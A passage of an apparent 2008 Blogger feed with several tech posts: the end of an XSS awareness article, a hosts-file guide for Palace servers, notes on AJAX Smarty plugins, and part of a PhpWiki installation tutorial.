hacked?&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;The observation which can be made when new stories of the latest hacks are   published is that the sites which belong to the large brands and corporations   are hacked in exactly the same way as those sites owned by businesses on a much   smaller budget. This clearly shows how lack of security is not a matter of   resources, but it is directly dependant on the lack of awareness among   businesses of all size. Statistically, 42% of web applications which request   security audits are vulnerable to XSS, which is clearly the most recurring   high-risk exploit among all the applications tested. The effort to raise   awareness about how easy it is for an expert hacker to exploit a vulnerable   application does not seem to be going too far. It is still very common to see   the &amp;ldquo;We&amp;rsquo;ll see when I get hacked&amp;rdquo; mentality still lingering among site owners   who finally risk losing a lot of money and also the trust of their customers.   Anybody with the interest to research this matter will see how even individuals   claiming to be security experts feel comfortable to state that XSS is over-rated   and cannot really be used to achieve serious results on a web application.   However further research will also prove that statistical figures speak for   themselves, and those same statistics keep growing at a rate which will   eventually overcast the claims of those incredulous &amp;ldquo;experts&amp;rdquo;.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;6. Scan your site for XSS with the Free Edition of Acunetix   WVS.&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;&lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Acunetix Web Vulnerability   Scanner Free Edition&lt;/A&gt; offers the functionality for anyone who wants to test   their own application for Cross Site Scripting. Acunetix encourages all site   owners and developers to visit &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt; and to download the Free Edition of Acunetix WVS. This Free Edition will scan   any web application for XSS and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the application) and indeed can surprise all those who really wish to see   where their web site stands from a security point of view.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-2440581712000859172?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/2440581712000859172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=2440581712000859172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/2440581712000859172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/2440581712000859172'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/cross-site-scripting-xss-underestimated.html' title='Cross Site Scripting - XSS - The Underestimated Exploit'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-1170487715867359105</id><published>2008-06-03T17:05:00.001+05:30</published><updated>2008-06-07T17:17:02.272+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Server Security'/><title type='text'>Windows, Linux, and Mac Hosts File Modifications</title><content type='html'>&lt;h3&gt;Overview&lt;/h3&gt;&lt;p&gt;Palace servers periodically try to connect to a directory server that is no   longer there. With Unix and Linux servers, this results in nothing more than a   few extra log entries. However, Windows and Mac servers can experience some lag   when the server is trying to make this connection. To eliminate lag from this   source, and to be listed on the new &lt;A href="http://www.palacetools.com/palace/" target="_blank"&gt;Live Directory&lt;/A&gt; at Palacetools.com,   you can create or modify a Hosts file.&lt;/p&gt;&lt;h3&gt;Windows&lt;/h3&gt;&lt;UL&gt;  &lt;LI&gt;Locate the file "Hosts" on your computer:&lt;BR&gt;    &lt;BR&gt;    Windows 95/98/Me&amp;nbsp; &lt;strong&gt;c:\windows\hosts &lt;/strong&gt;&lt;BR&gt;    Windows NT/2000/XP Pro&amp;nbsp; &lt;strong&gt;c:\winnt\system32\drivers\etc\hosts&lt;/strong&gt;&lt;BR&gt;    Windows XP   Home&amp;nbsp;&lt;strong&gt;c:\windows\system32\drivers\etc\hosts&lt;/strong&gt;&lt;BR&gt;    &lt;BR&gt;    (you may need   administrator access for Windows NT/2000/XP)&lt;BR&gt;    &lt;BR&gt;    NOTE: Hosts is the name of   the hosts file and not another directory name. It does not have an extension   (extensions are the .exe, .txt, .doc, etc. endings to filenames) and so appears   to be another directory in the example above.&lt;BR&gt;    &lt;BR&gt;    You may have a file called   "Hosts.sam". This file is a sample Hosts file (the .sam stands for sample) and   can be used by removing the .sam extension so the name is just "Hosts". This   file should be edited with a text editor, such as Notepad, and not a word   processor, such as Microsoft Word. Use whatever you normally use to edit your   cyborg.ipt or pserver.pat file.  &lt;LI&gt;Add this line to the Hosts file:    &lt;PRE&gt;71.155.186.91     directory.thepalace.com&lt;/PRE&gt;  &lt;LI&gt;Save your changes.  &lt;LI&gt;Reboot your computer.  &lt;LI&gt;    &lt;p&gt;Your server should now "register" with the Live Directory at   palacetools.com.&lt;/p&gt;  &lt;LI&gt;If your Hosts file already contains an entry for directory.thepalace.com,   then remove that entry. The above entry would be used in place of, and not in   addition to any other directory.thepalace.com entry.    &lt;p&gt;NOTE: Windows users should verify that they are showing extensions for all   file types. This will help verify that the Hosts file is named correctly. To   reset Windows to show all file extensions, double click on My Computer. Go to   View Menu (Win95/98/ME) or Tools Menu (Win2000/XP), and select Folder Options.   Click the View tab. In the Files and Folders section, DESELECT (uncheck) the   item named "Hide file extensions for known file types". Click Apply, and then   click OK.&lt;/p&gt;  &lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;Linux&lt;/h3&gt;&lt;UL&gt;  &lt;LI&gt;Edit the hosts file on your system. The hosts file is usually found   in&lt;BR&gt;    &lt;BR&gt;    &lt;PRE&gt;/etc/hosts  &lt;/PRE&gt;  &lt;LI&gt;Add this entry to the Hosts file:    &lt;PRE&gt;71.155.186.91     directory.thepalace.com  &lt;/PRE&gt;  &lt;LI&gt;Now make sure this file is used for host name lookups. This is done in two   files. First is:    &lt;PRE&gt;/etc/host.conf  &lt;/PRE&gt;    &lt;p&gt;This file should have at least the line shown below:&lt;/p&gt;    &lt;PRE&gt;order hosts,bind  &lt;/PRE&gt;    &lt;p&gt;That has host lookups use the hosts file before doing a DNS query with   bind.&lt;/p&gt;  &lt;LI&gt;The next file is:    &lt;PRE&gt;/etc/nsswitch.conf  &lt;/PRE&gt;    &lt;p&gt;Recent tests indicate that this file is required in order for the pserver to   use the entry in /etc/hosts. The nsswitch.conf file should have this line for   the hosts configuration:&lt;/p&gt;    &lt;PRE&gt;hosts:      files nisplus nis dns  &lt;/PRE&gt;    &lt;p&gt;There will probably already be a similar line in your version of this file.   Just make sure "files" comes before whatever other methods are listed.&lt;/p&gt;  &lt;LI&gt;    &lt;p&gt;There is no need to reboot your system. Just restart your palace   pservers.&lt;/p&gt;  &lt;LI&gt;    &lt;p&gt;Start up your palace.&lt;/p&gt;  &lt;LI&gt;    &lt;p&gt;It should now "register" with the Live Directory at palacetools.com.&lt;/p&gt;    &lt;p&gt;NOTE: The above configuration instructions were tested with a linux 4.5.1   Palace server, and should also work with the linux 4.4.1 server. The 4.3.2 linux   server did not respond to the above configuration when tested. Older versions   were not tested.&lt;/p&gt;  &lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;Macintosh OS X&lt;/h3&gt;&lt;UL&gt;  &lt;LI&gt;With Macintosh OS X, the procedure is similar to Linux above. The hosts file   can be found in&lt;BR&gt;    &lt;BR&gt;    &lt;PRE&gt;/etc/hosts  &lt;/PRE&gt;  &lt;/LI&gt;&lt;/UL&gt;&lt;h3&gt;Macintosh OS 9&lt;/h3&gt;&lt;UL&gt;  &lt;p&gt;  &lt;LI&gt;Look in System Folder:Preferences, and in the System Folder itself, and see   if you have a file named "Hosts". If not, create one in a text editor.  &lt;LI&gt;Add these entries to the Hosts file:    &lt;PRE&gt;paps.thepalace.com          A    127.0.0.1  &lt;br&gt;directory.thepalace.com     A    71.155.186.91  &lt;/PRE&gt;&lt;LI&gt;Spaces should work, but it is recommended that you separate the three   entries on each line by tabs. The first line is the one that makes sure your   downloads work, and the second line is the one that redirects your server's   reporting information. Place the Hosts file in System Folder:Preferences and   reboot your Mac. Start up your palace. It should now "register" with the Live   Directory at palacetools.com.    &lt;p&gt;If you have an older Mac that is using MacTCP instead of Open Transport, try   putting the Hosts file in the System Folder.&lt;/p&gt;  &lt;LI&gt;    &lt;p&gt;Note from the Apple Tech Info Library:&lt;/p&gt;    &lt;UL&gt;      &lt;p&gt;Open Transport TCP/IP automatically uses a Hosts file stored the Preferences   folder of the active System Folder. If no Hosts file is found in the Preferences   folder, Open Transport TCP/IP searches the active System Folder for a Hosts   file. &lt;/p&gt;    &lt;/UL&gt;  &lt;p&gt;This means that if you don't already have a Hosts file, and you just drop it   in your System Folder and reboot, it will work. However, System   Folder:Preferences is the default and recommended location for all systems using   Open Transport.&lt;/p&gt; &lt;h3&gt;Additional Configuration Options&lt;/h3&gt;  &lt;LI&gt;    &lt;p&gt;You can configure TCP/IP to use the contents of this new Hosts file, which   will activate the Hosts file without having to reboot.&lt;/p&gt;    &lt;p&gt;To do this:    &lt;UL&gt;      &lt;LI&gt;Open the TCP/IP control panel.&lt;BR&gt;      &lt;LI&gt;Get into Advanced user mode by:&lt;BR&gt;        &lt;UL&gt;          &lt;LI&gt;selecting the User Mode command under the Edit menu.&lt;BR&gt;          &lt;LI&gt;In the User Mode dialog select Advanced then click OK.&lt;BR&gt;          &lt;/LI&gt;        &lt;/UL&gt;      &lt;LI&gt;Click on the Select Hosts File button.&lt;BR&gt;      &lt;LI&gt;In the File Open file dialog that comes up, naviagate to and select the   Hosts file you created.&lt;BR&gt;      &lt;LI&gt;Click on OK if it asks you if you are sure you want to replace the Hosts   File with the contents of the selected file.&lt;BR&gt;      &lt;LI&gt;Close TCP/IP control panel and click OK to save the   configuration.&lt;BR&gt;      &lt;/LI&gt;    &lt;/UL&gt;    &lt;p&gt;The above procedure will copy the contents of the file selected into the   Hosts file in the Preferences folder, or create one there if none exists. &lt;/p&gt;  &lt;/LI&gt;&lt;/UL&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-1170487715867359105?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/1170487715867359105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=1170487715867359105' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1170487715867359105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/1170487715867359105'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/windows-linux-and-mac-hosts-file.html' title='Windows, Linux, and Mac Hosts File Modifications'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-5869773752631618371</id><published>2008-05-27T19:49:00.005+05:30</published><updated>2008-05-27T20:20:57.716+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='AJAX'/><title type='text'>AJAX-enabled Smarty plugins</title><content type='html'>&lt;p&gt;Today I&amp;rsquo;ve created simple  AJAX-enabled plugins for &lt;a href="http://smarty.php.net/" target="_blank"&gt;Smarty&lt;/a&gt;.  I don&amp;rsquo;t try to develop powerful reach-applications framework. I can give you  only idea how to integrate AJAX-technology into Smarty. But if you have any  offers how to improve anything I&amp;rsquo;ve described or if you just want to leave  feedback please post you comments on my site.&lt;/p&gt;&lt;p&gt;  In my practice I need several  things from AJAX:  to update some nodes in DOM, to send forms without post-back, to retrieve some  values or to perform server-side calculation (maybe using database or other  server-side resources). It&amp;rsquo;s necessary to write tons of JavaScript to implement  my requirements in spite of using cool JavaScript library &lt;a href="http://prototype.conio.net/" target="_blank"&gt;Prototype&lt;/a&gt;. &lt;br&gt;  I decided to integrate Smarty  with AJAX.  There are three Smarty plugins has been created: ajax_update, ajax_call, ajax_form. Below all this plugins will be  described.&lt;/p&gt;&lt;h2&gt;ajax_update&lt;/h2&gt;&lt;p&gt;This Smarty function can be used  for update some parts of web-page.&lt;br&gt;  Sample usage:&lt;/p&gt;&lt;pre&gt;&amp;lt;a  href=&amp;quot;#&amp;quot; onclick=&amp;quot;{ajax_update update_id='intro_content' function='update_intro' params='page=about'}&amp;quot;&amp;gt;About&amp;lt;/a&amp;gt; &lt;/pre&gt;&lt;p&gt;  Possible parameters:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; - URL for AJAX-query (when no URL was       specified current one will be used) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; - query method (by default &lt;em&gt;get&lt;/em&gt;, can       be &lt;em&gt;get&lt;/em&gt; or &lt;em&gt;post&lt;/em&gt;) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;update_id&lt;/strong&gt; - ID of HTML element for update &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;function&lt;/strong&gt; - function which will be called &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;params&lt;/strong&gt; - URL-encoded parameters &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;ajax_call&lt;/h2&gt;&lt;p&gt;This Smarty function can be used  for call PHP function on server side and retrieve its output.&lt;/p&gt;&lt;p&gt;  Sample usage:&lt;/p&gt;&lt;pre&gt;&amp;lt;a  href=&amp;quot;#&amp;quot; onclick=&amp;quot;{ajax_call function='calculate'&amp;nbsp; params_func='calc_params' callback='calc_cb'}&amp;quot;&amp;gt;Calculate&amp;lt;/a&amp;gt;&lt;/pre&gt;&lt;p&gt; Possible parameters:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; - URL for AJAX-query (when no URL was       specified current one will be used) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; - query method (by default &lt;em&gt;get&lt;/em&gt;, can       be &lt;em&gt;get&lt;/em&gt; or &lt;em&gt;post&lt;/em&gt;) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;function&lt;/strong&gt; - function which will be called &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;params&lt;/strong&gt; - URL-encoded parameters &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;callback&lt;/strong&gt; - JavaScript function which will be called       when query will be completed &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;params_func&lt;/strong&gt; - JavaScript function used when you need       custom parameters calculated on client side &lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;ajax_form&lt;/h2&gt;&lt;p&gt;This Smarty block can be used for  submit Web-forms without post-back.&lt;/p&gt;&lt;p&gt; Sample usage:&lt;/p&gt;&lt;pre&gt; {ajax_form method=&amp;quot;post&amp;quot; id=&amp;quot;form_register&amp;quot;}&lt;br&gt;  Any form-element can be placed here&lt;br&gt;  {/ajax_form} &lt;/pre&gt;&lt;p&gt; Possible parameters:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; - URL for AJAX-query (when no URL was       specified current one will be used) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; - query method (by default &lt;em&gt;get&lt;/em&gt;, can       be &lt;em&gt;get&lt;/em&gt; or &lt;em&gt;post&lt;/em&gt;) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;params&lt;/strong&gt; - URL-encoded parameters &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;id&lt;/strong&gt; - form ID &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;callback&lt;/strong&gt; - JavaScript function which will be called       when query will be completed &lt;/li&gt;&lt;/ul&gt;&lt;p&gt; Simplest way is to process form on the server and parse  result on client, where return data can be in following format:&lt;/p&gt;&lt;p&gt; true;User was  registered successfully;http://example.com/login/ false;Please enter your name;Entered  passwords doesn't match&lt;/p&gt;&lt;p&gt; Result string can be splitted on  client and results can be shown in some part of page. &lt;/p&gt;&lt;p&gt;Process function may  looks like following (it&amp;rsquo;s part of smarty_ajax):&lt;/p&gt;&lt;pre&gt; var SmartyAjax = {&lt;br&gt;  &amp;nbsp; onSubmit: function(originalRequest) {&lt;br&gt;  &amp;nbsp; &amp;nbsp; var results = originalRequest.responseText.split(&amp;quot;;&amp;quot;);&lt;br&gt;  &lt;br&gt;  &amp;nbsp; &amp;nbsp; &lt;strong&gt;if&lt;/strong&gt; (results[&lt;strong&gt;0&lt;/strong&gt;] == &amp;quot;true&amp;quot;) {&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; SmartyAjax.Messages.set(results[&lt;strong&gt;1&lt;/strong&gt;],&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SmartyAjax.Messages.MT_WARNING)&lt;br&gt;  &amp;nbsp; &amp;nbsp; } &lt;strong&gt;else&lt;/strong&gt; {&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; SmartyAjax.Messages.clear();&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; SmartyAjax.Messages.setType(SmartyAjax.Messages.MT_ERROR);&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;strong&gt;for&lt;/strong&gt; (var i = &lt;strong&gt;1&lt;/strong&gt;; i &amp;lt;  results.length; i++) {&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SmartyAjax.Messages.add(results[i]);&lt;br&gt;  &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br&gt;  &amp;nbsp; &amp;nbsp; }&lt;br&gt;  &amp;nbsp; }&lt;br&gt;  } &lt;/pre&gt;&lt;p&gt; This function uses several  functions from SmartyAjax.Messages  object which depends on following HTML elements:&lt;/p&gt;&lt;pre&gt; &amp;lt;div id=&amp;quot;messages&amp;quot;&amp;gt;&lt;br&gt;  &amp;nbsp; &amp;lt;p id=&amp;quot;messages-title&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br&gt;  &amp;nbsp; &amp;lt;ul id=&amp;quot;messages-list&amp;quot;&amp;gt;&amp;lt;/ul&amp;gt;&lt;br&gt;  &amp;lt;/div&amp;gt; &lt;/pre&gt;&lt;p&gt; To manage messages I&amp;rsquo;ve created  Smarty template parts/warnings.tpl.  You can use it in your PHP file in simple way:&lt;/p&gt;&lt;pre&gt; // is messages  contains warning (or error)  $t-&amp;gt;assign('messages_warning', true);  // array of messages  $t-&amp;gt;assign('messages', array('Please provide your account information')); &lt;/pre&gt;&lt;p&gt; Another thing we need to examine  is message which informs user about processing AJAX request. There is SmartyAjax.Process  object in the sample which has two methods: hide() and show() which can be used  to hide and display message. They are depends on HTML-element with  id=&amp;rdquo;ajax-process&amp;rdquo;. It&amp;rsquo;s necessary to add &amp;ldquo;position: absolute&amp;rdquo; style because of  this messages will be shown in top-right corner of screen independing on scroll  position.&lt;/p&gt;&lt;pre&gt; ajax_form is simple to use:&lt;/pre&gt;&lt;pre&gt; {ajax_form method=&amp;quot;post&amp;quot; id=&amp;quot;form_register&amp;quot;}&lt;/pre&gt;&lt;pre&gt; Any form-element can be placed here&lt;/pre&gt;&lt;pre&gt; {/ajax_form} &lt;/pre&gt;&lt;p&gt; Possible parameters:&lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; - URL for AJAX-query (when no URL was       specified current one will be used) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;method&lt;/strong&gt; - query method (by default &lt;em&gt;get&lt;/em&gt;, can       be &lt;em&gt;get&lt;/em&gt; or &lt;em&gt;post&lt;/em&gt;) &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;params&lt;/strong&gt; - URL-encoded parameters &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;id&lt;/strong&gt; - form ID &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;callback&lt;/strong&gt; - JavaScript function which will be called       when query will be completed &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;This article originally appeared on : &lt;/em&gt;&lt;A href="http://kpumuk.info/ajax/ajax-enabled-smarty-plugins/lang-pref/en/" target="_blank" rel="nofollow"&gt;kpumuk.info&lt;/A&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-5869773752631618371?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/5869773752631618371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=5869773752631618371' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5869773752631618371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5869773752631618371'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/05/ajax-enabled-smarty-plugins.html' title='AJAX-enabled Smarty plugins'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-3805575355543375649</id><published>2008-05-27T19:14:00.001+05:30</published><updated>2008-05-27T20:20:43.311+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP Open Source'/><title type='text'>phpwiki - The Wiki for PHP Developers</title><content type='html'>&lt;p&gt;This month it's  time to look at another of those PHP applications I find useful on a daily  basis. I like to use &amp;quot;wikis&amp;quot; for documentation for many of the  projects I work on. Most of you are probably familiar with the term wiki,  coming from the Hawaiian word for quick (wikiwiki). There are quite a few  PHP-based wiki tools out there, including mediawiki (which Wikipedia uses),  PmWiki and DokuWiki. In this article we will look at PhpWiki, and we'll show  you how to configure and use it with your own projects! &lt;/p&gt;&lt;p&gt;Ward Cunningham  wrote the first wiki application in 1995 (although similar software had  appeared before, he was the first to apply the term &amp;quot;wiki&amp;quot; to it).  Since then, wikis have exploded in popularity, as they provide a convenient way  for people to collaborate, with edits being easy, and, equally important, all  changes that are made are documented and tracked. The most well-known wiki is  of course Wikipedia, the wiki encyclopedia. You can see a more complete list of  PHP-based wikis on &lt;a target="_blank" href="http://en.wikipedia.org/wiki/List_of_wiki_software#PHP-based"&gt;the  Wikipedia site&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Which brings us to  PhpWiki! PhpWiki's documentation is not particularly good, which should be a  warning that installing a wiki is no panacea for a poorly-documented project.  At the time of writing, the latest stable version is 1.3.12p1, but the home  page mentions that the latest version as 1.3.11p1, and claims to have last been  updated in September 2005. Setup is also a bit more finicky than some of the  other applications I looked at in earlier articles. Nevertheless, I find the  tool useful, and we will look at setting it up and getting it running in this  month's article.&lt;/p&gt;&lt;h3&gt;&lt;strong&gt;Requirements&lt;/strong&gt;&lt;/h3&gt;&lt;ul type="disc"&gt;  &lt;li&gt;A web server with PHP version 4.0.6 or       greater, though of course you should not be running this old a version for       security reasons. There are problems with versions from 4.3.9 and earlier       which manifest if you have large installations of around 500 pages or       more. &lt;/li&gt;  &lt;li&gt;Perl regular expressions compiled into PHP       (it is by default) &lt;/li&gt;  &lt;li&gt;Database support. PhpWiki supports MySQL,       PostgreSQL, Microsoft SQL Server, Oracle 8, Firebird (with PHP 5's PDO)       and later version of Oracle (with PDO). &lt;/li&gt;  &lt;li&gt;The PEAR DB libraries (installed by default),       although PhpWiki comes with these bundled if you don't already have them,       and it can also use ADODB. &lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;strong&gt;Installing and configuring PhpWiki&lt;/strong&gt;&lt;/h3&gt;&lt;p&gt;&lt;a target="_blank" href="http://sourceforge.net/project/showfiles.php?group_id=6121"&gt;Download  the tar file&lt;/a&gt;, and place it in your webtree. For the purposes of this  tutorial, my wiki will sit in the root directory of the greenman.co.za server.  Extract the file:&lt;/p&gt;&lt;pre&gt;tar -zxvf phpwiki-1.3.12p1.tar.gz&lt;/pre&gt;&lt;pre&gt;I suggest renaming  the directory from phpwiki-1.3.12 to simply phpwiki, or even just wiki.&lt;/pre&gt;&lt;pre&gt;mv phpwiki-1.3.12p1 wiki&lt;/pre&gt;&lt;pre&gt;You can now access  your wiki from a browser: &lt;em&gt;http://greenman.co.za/wiki&lt;/em&gt;. Before you can do any editing,  you'll first have to configure everything.&lt;/pre&gt;&lt;p&gt;When you first access  the wiki and you haven't configured it yet, the &lt;em&gt;configurator&lt;/em&gt; will appear (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot1.jpg"&gt;screenshot  1&lt;/a&gt;). This is claimed to be experimental, and has a number of minor  usability issues, but it's useful for getting started quickly. The configurator  page can look intimidating, as there are many, many options. Don't be put off  though, as you can leave most of them with their default values. There are only  a few that must be populated in order to get started. Here's what you need to  change as a minimum to get your wiki working. &lt;/p&gt;&lt;ul type="disc"&gt;  &lt;li&gt;admin user &lt;/li&gt;  &lt;li&gt;admin password &lt;/li&gt;  &lt;li&gt;Database Type (SQL PEAR should work on any       installation) &lt;/li&gt;  &lt;li&gt;SQL Type (MySQL) &lt;/li&gt;  &lt;li&gt;SQL User (I chose phpbuilder_wiki) &lt;/li&gt;  &lt;li&gt;SQL Password (I chose phpbuilder_wiki_password) &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In order for the  configurator to work, it needs to be able to write to the config directory, as  it attempts to create a file called &lt;em&gt;config.ini&lt;/em&gt;. If, as is likely by  default, it can't create this file, it will output the contents (&lt;a target="_blank" href="http://www.phpbuilder.com/columns/phpwiki_screenshot2.jpg"&gt;screenshot  2&lt;/a&gt;), and you'll need to copy and paste and create the file yourself.  The file must be placed in the &lt;em&gt;config&lt;/em&gt; directory. You could also assign write permission to  the directory beforehand. Perhaps the easiest alternative of all, seeing as the  installation process is finicky enough to demand you work in the command line  anyway, is to simply make a copy of the default config file: &lt;/p&gt;&lt;pre&gt;cp config-dist.ini config.ini&lt;/pre&gt;&lt;pre&gt;and edit the  options above. One minor change is that you have to collate the database  authorization data into the variable &lt;em&gt;DATABASE_DSN&lt;/em&gt;. With the options I  chose, the variable will look as follows:&lt;/pre&gt;&lt;pre&gt;DATABASE_DSN = &amp;quot;mysql://phpbuilder_wiki:phpbuilder_wiki_password@localhost/phpbuilder_wiki&lt;/pre&gt;&lt;pre&gt;Whichever way you  choose to configure PhpWiki, I suggest that any later changes you make get made  in the config.ini file directly. You can access the configurator again, using  your admin username and password, but you'll need to remember to re-enter passwords,  and watch out for encryption issues, making it an annoyance to use. Rather than  do that, I just go straight to the file - if you can use a text editor you'll  find it just as easy.&lt;/pre&gt;&lt;p&gt;In this tutorial,  I'll assume you're using MySQL. Specific instructions for other databases are  found in the doc directory (an INSTALL file with an extension of the name of  the database, e.g. INSTALL.pgsql). You'll need to already have an account with  permission (such as root) to create new databases and tables, and populate  them, or get your hosting company to do this for you if not.&lt;/p&gt;&lt;p&gt;First, create the  new database. The database name must match the name you selected earlier with  the configurator (I chose phpbuilder_wiki):&lt;/p&gt;&lt;pre&gt;mysqladmin -uroot_user -proot_password create phpbuilder_wiki&lt;/pre&gt;&lt;pre&gt;Next, create a new  user with the correct permissions (I chose a user with the same name as the  database, &lt;em&gt;phpbuilder_wiki&lt;/em&gt;,  and a password of &lt;em&gt;phpbuilder_wiki_password&lt;/em&gt;):&lt;/pre&gt;&lt;pre&gt;mysql -uroot_user -proot_password phpbuilder_wiki&lt;/pre&gt;&lt;pre&gt;GRANT select, insert, update, delete, lock tables&lt;/pre&gt;&lt;pre&gt; ON phpbuilder_wiki.*&lt;/pre&gt;&lt;pre&gt; TO phpbuilder_wiki@localhost&lt;/pre&gt;&lt;pre&gt; IDENTIFIED BY 'phpbuilder_wiki_password';&lt;/pre&gt;&lt;pre&gt;Next, create the  tables. The statements for doing this are found in the &lt;em&gt;mysql-initialize.sql&lt;/em&gt; file in the &lt;em&gt;schemas&lt;/em&gt; directory. Assuming that you're in the wiki directory, run the following  command, this time using the username and password created for your wiki:&lt;/pre&gt;&lt;pre&gt;mysql -uphpbuilder_wiki -pphpbuilder_wiki_password phpbuilder_wiki &amp;lt; schemas/mysql-initialize.sql&lt;/pre&gt;&lt;pre&gt;After all this,  you're ready to access your wiki from a browser (simply go to the wiki  directory - in my case &lt;em&gt;www.greenman.co.za/wiki&lt;/em&gt;). The first time you access it will  display a long list of files (&lt;a target="_blank" 